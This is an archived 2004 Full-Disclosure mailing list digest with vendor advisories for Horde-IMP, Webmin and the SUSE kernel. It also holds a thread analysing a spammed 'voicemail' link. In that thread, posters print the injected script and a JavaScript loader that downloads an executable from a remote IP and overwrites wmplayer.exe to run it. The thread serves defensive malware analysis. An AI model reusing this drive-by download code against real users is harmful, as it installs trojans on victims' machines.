From: Joe Stewart (jstewartlurhq.com)
Date: Wed Jun 16 2004 - 07:44:43 CDT

On Wed, 16 Jun 2004 08:23:59, geoincidentsnls.net wrote:
> Anyone want to try and analyze what this thing is? It was spammed to
> about 30 addresses here this morning.

The end stage appears to be a new variant of the Cjdra proxy trojan.
This person has been spreading trojans via spammed-exploit for a while
now, and now it looks as if he/she has upgraded to the latest IE
exploit.

http://vil.nai.com/vil/content/v_100939.htm describes an older variant.

-Joe

--
Joe Stewart, GCIH
Senior Security Researcher
LURHQ http://www.lurhq.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: Multiple Antivirus Scanners DoS attack.

From: Luca Gibelli (lucaclamav.net)
Date: Wed Jun 16 2004 - 07:47:41 CDT

> *DrWeb (http://www.drweb.ru/)
> *AVG v7.0.251
> *ClamAV version 0.70, 0.72 <--- please confirm this!
> *eTrust InoculateIT version 6.0
> Are vulnerable.
 
ClamAV is not vulnerable and hasn't been for a long time (at least
since 0.6x IIRC).

Just try it:
$ clamscan SERVER_dwn.zip
SERVER_dwn.zip: Oversized.Zip FOUND
 
 
--
Luca Gibelli (lucaclamav.net) - http://www.ClamAV.net - A GPL virus scanner
PGP Key Fingerprint: C782 121E 8C3A 90E3 7A87 D802 6277 8FF4 5EFC 5582
PGP Key Available on: Key Servers || http://www.clamav.net/gpg/nervoso.gpg

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Antivirus/Trojan/Spyware scanners DoS!

From: Geo. (georgernls.net)
Date: Wed Jun 16 2004 - 07:22:48 CDT

Received a spam this morning claiming I have a voicemail with the link
(warning do not click the link)

http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)

which brings up a frames based page with one of the frames containing this

    function InjectedDuringRedirection(){

 showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo
gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'";

Anyone want to try and analyze what this thing is? It was spammed to about
30 addresses here this morning.

Geo.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [ GLSA 200406-11 ] Horde-IMP: Input validation vulnerability

From: Kurt Lieber (kliebergentoo.org)
Date: Wed Jun 16 2004 - 08:25:32 CDT

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Horde-IMP: Input validation vulnerability
      Date: June 16, 2004
      Bugs: #53862
        ID: 200406-11

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

An input validation vulnerability has been discovered in Horde-IMP.

Background
==========

Horde-IMP is the Internet Messaging Program. It is written in PHP and
provides webmail access to IMAP and POP3 accounts.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 net-www/horde-imp <= 3.2.3 >= 3.2.4

Description
===========

Horde-IMP fails to properly sanitize email messages that contain
malicious HTML or script code.

Impact
======

By enticing a user to read a specially crafted e-mail, an attacker can
execute arbitrary scripts running in the context of the victim's
browser. This could lead to a compromise of the user's webmail account,
cookie theft, etc.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Horde-IMP users should upgrade to the latest stable version:

    # emerge sync

    # emerge -pv ">=horde-imp-3.2.4"
    # emerge ">=horde-imp-3.2.4"

References
==========

  [ 1 ] Bugtraq Announcement
        http://www.securityfocus.com/bid/10501

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-11.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA0EpMJPpRNiftIEYRAjZFAJ42DouOm6MRj7FRWplm+F8yRwdaOwCgi+6N
WILtMGU+v7jbt3OQ+bqYGLg=
=MrCt
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [ GLSA 200406-12 ] Webmin: Multiple vulnerabilities

From: Kurt Lieber (kliebergentoo.org)
Date: Wed Jun 16 2004 - 08:31:46 CDT

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Webmin: Multiple vulnerabilities
      Date: June 16, 2004
      Bugs: #53375
        ID: 200406-12

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Webmin contains two security vulnerabilities which could lead to a
Denial of Service attack and information disclosure.

Background
==========

Webmin is a web-based administration tool for Unix. It supports a wide
range of applications including Apache, DNS, file sharing and others.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-admin/webmin <= 1.140-r1 >= 1.150

Description
===========

Webmin contains two security vulnerabilities. One allows any user to
view the configuration of any module and the other could allow an
attacker to lock out a valid user by sending an invalid username and
password.

Impact
======

An authenticated user could use these vulnerabilities to view the
configuration of any module thus potentially obtaining important
knowledge about configuration settings. Furthermore an attacker could
lock out legitimate users by sending invalid login information.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Webmin users should upgrade to the latest stable version:

    # emerge sync

    # emerge -pv ">=app-admin/app-admin/webmin-1.150"
    # emerge ">=app-admin/app-admin/webmin-1.150"

References
==========

  [ 1 ] Bugtraq Announcement
        http://www.securityfocus.com/bid/10474
  [ 2 ] Webmin Changelog
        http://www.webmin.com/changes-1.150.html

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-12.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA0EvCJPpRNiftIEYRAuwwAJ9yiTRu6OrHG75hSaDodlcOaQZOnQCeLN34
mgx1zdZtYryslTUukRRoWY8=
=EBe6
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] spamming trojan?

From: Michael Gargiullo (mgargiullowarpdrive.net)
Date: Wed Jun 16 2004 - 08:59:43 CDT

On Wed, 2004-06-16 at 08:23, Geo. wrote:
> Received a spam this morning claiming I have a voicemail with the link
> (warning do not click the link)
>
> http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)
>
> which brings up a frames based page with one of the frames containing this
>
> function InjectedDuringRedirection(){
>
> showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo
> gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
> SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'";
>
> Anyone want to try and analyze what this thing is? It was spammed to about
> 30 addresses here this morning.
>
> Geo.

Here's the contents:

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://219.234.95.124/vbox/w_e_d.exe",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";

so whatever w_e_d.exe is...

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] SUSE Security Announcement: kernel (SuSE-SA:2004:017)

From: Thomas Biege (thomassuse.de)
Date: Wed Jun 16 2004 - 09:14:18 CDT

-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________

                        SUSE Security Announcement

        Package: kernel
        Announcement-ID: SuSE-SA:2004:017
        Date: Wednesday, Jun 16th 2004 15:20 MEST
        Affected products: 8.0, 8.1, 8.2, 9.0, 9.1
                                SuSE Linux Database Server,
                                SuSE eMail Server III, 3.1
                                SuSE Linux Enterprise Server 7, 8
                                SuSE Linux Firewall on CD/Admin host
                                SuSE Linux Connectivity Server
                                SuSE Linux Office Server
        Vulnerability Type: local denial-of-service attack
        Severity (1-10): 4
        SUSE default package: no
        Cross References: CAN-2004-0554

    Content of this advisory:
        1) security vulnerability resolved:
             - floating point exception causes system crash
           problem description, discussion, solution and upgrade information
        2) pending vulnerabilities, solutions, workarounds:
             - icecast
             - sitecopy
             - cadaver
             - OpenOffice_org
             - tripwire
             - postgresql
             - lha
             - XDM
             - mod_proxy
         3) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion, solution, upgrade information

    The Linux kernel is vulnerable to a local denial-of-service attack.
    By using a C program it is possible to trigger a floating point
    exception that puts the kernel into an unusable state.
    To execute this attack a malicious user needs shell access to the
    victim's machine.
    The severity of this bug is considered low because local denial-of-
    service attacks are hard to prevent in general.
    Additionally the bug is limited to x86 and x86_64 architecture.

    SPECIAL INSTALL INSTRUCTIONS:
    ==============================
    The following paragraphs will guide you through the installation
    process in a step-by-step fashion. The character sequence "****"
    marks the beginning of a new paragraph. In some cases, the steps
    outlined in a particular paragraph may or may not be applicable
    to your situation.
    Therefore, please make sure to read through all of the steps below
    before attempting any of these procedures.
    All of the commands that need to be executed are required to be
    run as the superuser (root). Each step relies on the steps before
    it to complete successfully.
    Note: The update packages for the SuSE Linux Enterprise Server 7
    (SLES7) are being tested at the moment and will be published as soon
    as possible.

  **** Step 1: Determine the needed kernel type

    Please use the following command to find the kernel type that is
    installed on your system:

      rpm -qf /boot/vmlinuz

    Following are the possible kernel types (disregard the version and
    build number following the name separated by the "-" character)

      k_deflt # default kernel, good for most systems.
      k_i386 # kernel for older processors and chipsets
      k_athlon # kernel made specifically for AMD Athlon(tm) family processors
      k_psmp # kernel for Pentium-I dual processor systems
      k_smp # kernel for SMP systems (Pentium-II and above)
      k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM
      kernel-64k-pagesize
      kernel-bigsmp
      kernel-default
      kernel-smp

  **** Step 2: Download the package for your system

    Please download the kernel RPM package for your distribution with the
    name as indicated by Step 1. The list of all kernel rpm packages is
    appended below. Note: The kernel-source package does not
    contain a binary kernel in bootable form. Instead, it contains the
    sources that the binary kernel rpm packages are created from. It can be
    used by administrators who have decided to build their own kernel.
    Since the kernel-source.rpm is an installable (compiled) package that
    contains sources for the linux kernel, it is not the source RPM for
    the kernel RPM binary packages.

    The kernel RPM binary packages for the distributions can be found at the
    locations below ftp://ftp.suse.com/pub/suse/i386/update/.

      8.0/images/
      8.1/rpm/i586
      8.2/rpm/i586
      9.0/rpm/i586
      9.1/rpm/i586

    After downloading the kernel RPM package for your system, you should
    verify the authenticity of the kernel rpm package using the methods as
    listed in section 3) of each SUSE Security Announcement.

  **** Step 3: Installing your kernel rpm package

    Install the rpm package that you have downloaded in Steps 3 or 4 with
    the command
        rpm -Uhv --nodeps --force <K_FILE.RPM>
    where <K_FILE.RPM> is the name of the rpm package that you downloaded.

    Warning: After performing this step, your system will likely not be
             able to boot if the following steps have not been fully
             followed.

    If you run SUSE LINUX 8.1 and haven't applied the kernel update
    (SUSE-SA:2003:034), AND you are using the freeswan package, you also
    need to update the freeswan rpm as a dependency as offered
    by YOU (YaST Online Update). The package can be downloaded from
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/

  **** Step 4: configuring and creating the initrd

    The initrd is a ramdisk that is loaded into the memory of your
    system together with the kernel boot image by the bootloader. The
    kernel uses the content of this ramdisk to execute commands that must
    be run before the kernel can mount its actual root filesystem. It is
    usually used to initialize SCSI drivers or NIC drivers for diskless
    operation.

    The variable INITRD_MODULES in /etc/sysconfig/kernel determines
    which kernel modules will be loaded in the initrd before the kernel
    has mounted its actual root filesystem. The variable should contain
    your SCSI adapter (if any) or filesystem driver modules.

    With the installation of the new kernel, the initrd has to be
    re-packed with the update kernel modules. Please run the command

      mk_initrd

    as root to create a new init ramdisk (initrd) for your system.
    On SuSE Linux 8.1 and later, this is done automatically when the
    RPM is installed.

  **** Step 5: bootloader

    If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
    are two options:
    Depending on your software configuration, you have either the lilo
    bootloader or the grub bootloader installed and initialized on your
    system.
    The grub bootloader does not require any further actions to be
    performed after the new kernel images have been moved in place by the
    rpm Update command.
    If you have a lilo bootloader installed and initialized, then the lilo
    program must be run as root. Use the command

      grep LOADER_TYPE /etc/sysconfig/bootloader

    to find out which boot loader is configured. If it is lilo, then you
    must run the lilo command as root. If grub is listed, then your system
    does not require any bootloader initialization.

    Warning: An improperly installed bootloader may render your system
             unbootable.

  **** Step 6: reboot

    If all of the steps above have been successfully completed on your
    system, then the new kernel including the kernel modules and the
    initrd should be ready to boot. The system needs to be rebooted for
    the changes to become active. Please make sure that all steps have
    completed, then reboot using the command
        shutdown -r now
    or
        init 6

    Your system should now shut down and reboot with the new kernel.

    There is no workaround known.

    Please download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command "rpm -Fhv file.rpm" to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered to install from the maintenance web.

    Intel i386 Platform:

    SuSE-9.1:
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-source-2.6.5-7.75.i586.rpm
      8d11469e1815c5b2fa143fce62c17b95
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-default-2.6.5-7.75.i586.rpm
      75222182ad4c766b6482e5b83658819d
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-smp-2.6.5-7.75.i586.rpm
      45f1244f153ab1387a9dc67e7bcf20bb
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-bigsmp-2.6.5-7.75.i586.rpm
      517647d955770503fe61ae2549c453dd
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-source-2.6.5-7.75.src.rpm
      9103503f430b9d854630ecb8855a2fb3
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-default-2.6.5-7.75.nosrc.rpm
      9381c56f1f64835c5379dde278ac768d
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-smp-2.6.5-7.75.nosrc.rpm
      4f47dc2be58f5315cf596c051c2892b5
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-bigsmp-2.6.5-7.75.nosrc.rpm
      732c1e7d2a9e41780464eccdc0d54505

    SuSE-9.0:
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/kernel-source-2.4.21-226.i586.rpm
      7b6022e2f80325b42fa7dc3188360530
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_athlon-2.4.21-226.i586.rpm
      594efe04ccc233e890bfb277e8296c2d
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_deflt-2.4.21-226.i586.rpm
      f41d088cf20bfe583e57f95a6b46d625
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_smp-2.4.21-226.i586.rpm
      39e2c09ece3f22b50eb777b85a7218ef
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_smp4G-2.4.21-226.i586.rpm
      83398954810403b9dfb65bcf1af25352
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_um-2.4.21-226.i586.rpm
      18dde4a8af68dd1f78a0177c3214457a
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/kernel-source-2.4.21-226.src.rpm
      d5b037aaf122b1b05917e3f0b475baae
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_athlon-2.4.21-226.src.rpm
      e10aea97785eb12716ad7d5e20cbd723
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_deflt-2.4.21-226.src.rpm
      54b8bbd368998abc1a63224caa880473
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_smp-2.4.21-226.src.rpm
      f944b14978ecd211c26f8169238292bf
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_smp4G-2.4.21-226.src.rpm
      66a116aeb9757c538a0643e8322095a7
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_um-2.4.21-226.src.rpm
      5e3694ba088fd39891a5979380679d20

    SuSE-8.2:
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/kernel-source-2.4.20.SuSE-113.i586.rpm
      a5843cb4e2b16515d70574d83113ac48
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_athlon-2.4.20-113.i586.rpm
      724529485d3a304f0479f9216fc361af
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_deflt-2.4.20-113.i586.rpm
      b0e687c208053d546b7057257beb7d32
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_psmp-2.4.20-113.i586.rpm
      749b101e7fc4aa5c62e2a5b650002803
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_smp-2.4.20-113.i586.rpm
      3377544a5f6d9c73fdfe05140fce0813
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/kernel-source-2.4.20.SuSE-113.src.rpm
      0a41c750b8cd3953d47e27ea15c58697
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_athlon-2.4.20-113.src.rpm
      a5e5790e5f7fe62905d29750543c9e20
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_deflt-2.4.20-113.src.rpm
      9defa7cb706e924f8336dd03fafbcfd5
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_psmp-2.4.20-113.src.rpm
      8469dbc8810dd292100d085e00bb6081
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_smp-2.4.20-113.src.rpm
      d990fcbace1f21ff383abdf7608a17ef

    SuSE-8.1:
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/kernel-source-2.4.21-226.i586.rpm
      43ee5eae102f0258a414dd15e3fd9433
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_athlon-2.4.21-226.i586.rpm
      0c6289e168307d615bfe6cef9ebcf879
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_deflt-2.4.21-226.i586.rpm
      003a38c53fe91070eeae85983930c70e
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_psmp-2.4.21-226.i586.rpm
      657d08fa4b5a2ba7de2a314a7d1622e1
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_smp-2.4.21-226.i586.rpm
      e19239b4ca52ebd21f775b5e6195f144
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/kernel-source-2.4.21-226.src.rpm
      ee67f5db0ea2f1431f46b7dd27815a56
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_athlon-2.4.21-226.src.rpm
      b29021156d6582e315666b16231b2a60
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_deflt-2.4.21-226.src.rpm
      ce5e47d527cee6968cd95bb8430d3e18
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_psmp-2.4.21-226.src.rpm
      a081a0f1e31f5491cdeba1fea5ea6411
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_smp-2.4.21-226.src.rpm
      1dbfd3b5f272fc75342ae55bbe7ab45c

    SuSE-8.0:
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/kernel-source-2.4.18.SuSE-299.i386.rpm
      7de319a4e6c667fba359686b814d4a73
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/images/k_deflt-2.4.18-299.i386.rpm
      df5aad7c423625a19af151bbba0f2ca8
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/images/k_psmp-2.4.18-299.i386.rpm
      cb02c8381962eda997ebb115ef68ae4c
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/images/k_smp-2.4.18-299.i386.rpm
      903c6e61927803c2d592ac50fe9da6ce
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/images/k_i386-2.4.18-299.i386.rpm
      e2abf9ccdc8191e7d2ace58e8a1b5b5a
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/kernel-source-2.4.18.SuSE-299.nosrc.rpm
      622c85342dd84abd0400103902d05eed
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/k_deflt-2.4.18-299.src.rpm
      37916ea39febc4dd43fabfccce9322db
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/k_psmp-2.4.18-299.src.rpm
      0dde0e6758e42de5479e8776475ae76f
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/k_smp-2.4.18-299.src.rpm
      523bef4e31fa67f078d5fcbdc426a4c0
    ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/k_i386-2.4.18-299.src.rpm
      06a2a062a54764a30adae0b8ea40cb29

    Opteron x86_64 Platform:

    SuSE-9.1:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-source-2.6.5-7.75.x86_64.rpm
      1c878b1e29a9bea40547637b6a307b2d
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-default-2.6.5-7.75.x86_64.rpm
      16de3ee2390bb2b92f9fe50451d4f082
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-smp-2.6.5-7.75.x86_64.rpm
      c310268daa83f18fcfd4cf19434f06e0
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-source-2.6.5-7.75.src.rpm
      2fed0a8f3936027261add7d1cbfa5341
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-default-2.6.5-7.75.nosrc.rpm
      9ad26d15566337c83273121390ea4e32
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/kernel-smp-2.6.5-7.75.nosrc.rpm
      352951be42b3093efb0148320a6f4c27

    SuSE-9.0:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/kernel-source-2.4.21-226.x86_64.rpm
      ced9c66ffa28bf7e7c795781f92083fe
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_deflt-2.4.21-226.x86_64.rpm
      60539bc47e8cac0664ac5ca824d311e0
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_smp-2.4.21-226.x86_64.rpm
      083aeedd2a88ccc2e00c8f66cd61b81c
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/kernel-source-2.4.21-226.src.rpm
      58c40a206f6f615daa3486fc6d6ade38
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_deflt-2.4.21-226.src.rpm
      1c234f6c0475680b41c644c575ff8ef6
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_smp-2.4.21-226.src.rpm
      e9b90824615859405b1979793662bc0d

______________________________________________________________________________

2) Pending vulnerabilities in SUSE Distributions and Workarounds:

    - icecast
    The icecast service is vulnerable to a remote denial-of-service
    attack. Update packages will be available soon.

    - sitecopy
    The sitecopy package includes a vulnerable version of the
    neon library (CAN-2004-0179, CAN-2004-0398). Update packages will be
    available soon.

    - cadaver
    The cadaver package includes a vulnerable version of the
    neon library (CAN-2004-0179, CAN-2004-0398). Update packages will be
    available soon.

    - OpenOffice_org
    The OpenOffice_org package includes a vulnerable version
    of the neon library (CAN-2004-0179, CAN-2004-0398). Update packages
    will be available soon.

    - tripwire
    A format string bug in tripwire can be exploited locally
    to gain root permissions. Update packages will be available soon.

    - postgresql
    A buffer overflow in psqlODBC could be exploited to crash the
    application using it. E.g. a PHP script that uses ODBC to access a
    PostgreSQL database can be utilized to crash the surrounding Apache
    web-server. Other parts of PostgreSQL are not affected.
    Update packages will be available soon.

    - lha
    Minor security fix for a buffer overflow while handling command
    line options. This buffer overflow could be exploited in conjunction
    with other mechanisms to gain higher privileges or access the system
    remotely.

    - XDM/XFree86
    This update resolves random listening to ports by XDM
    that allows to connect via the XDMCP. SUSE LINUX 9.1
    is affected only.
    New packages are currently being tested and will be
    available soon.

    - mod_proxy
    A buffer overflow can be triggered by malicious remote
    servers that return a negative Content-Length value.
    This vulnerability can be used to execute commands remotely
    New packages are currently being tested and will be
    available soon.

______________________________________________________________________________

3) standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers around
    the world. While this service is considered valuable and important
    to the free and open source software community, many users wish to be
    certain as to be the origin of the package and its content before
    installing the package. There are two independent verification methods
    that can be used to prove the authenticity of a downloaded file or
    rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you have downloaded the file from a SUSE ftp server or its
       mirrors. Then, compare the resulting md5sum with the one that is
       listed in the announcement. Since the announcement containing the
       checksums is cryptographically signed (usually using the key
       securitysuse.de), the checksums offer proof of the authenticity
       of the package.
       We recommend against subscribing to security lists which cause the
       email message containing the announcement to be modified so that
       the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       filename of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an un-installed rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg < announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "buildsuse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .

  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-securitysuse.com
        - general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-subscribesuse.com>.

    suse-security-announcesuse.com
        - SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-announce-subscribesuse.com>.

    For general information or the frequently asked questions (faq)
    send mail to:
        <suse-security-infosuse.com> or
        <suse-security-faqsuse.com> respectively.

    =====================================================================
    SUSE's security contact is <securitysuse.com> or <securitysuse.de>.
    The <securitysuse.de> public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature must show proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID Date User ID
pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <securitysuse.de>
pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <buildsuse.de>

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff
4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d
M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO
QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK
XBUX+K7u4ifrZlQvj/81M4INjtXreqDiJtr99Rs6xa0ScZqITuZC4CWxJa9GynBE
D3+D2t1V/f8l0smsuYoFOF7Ib49IkTdbtwAThlZp8bEhELBeGaPdNCcmfZ66rKUd
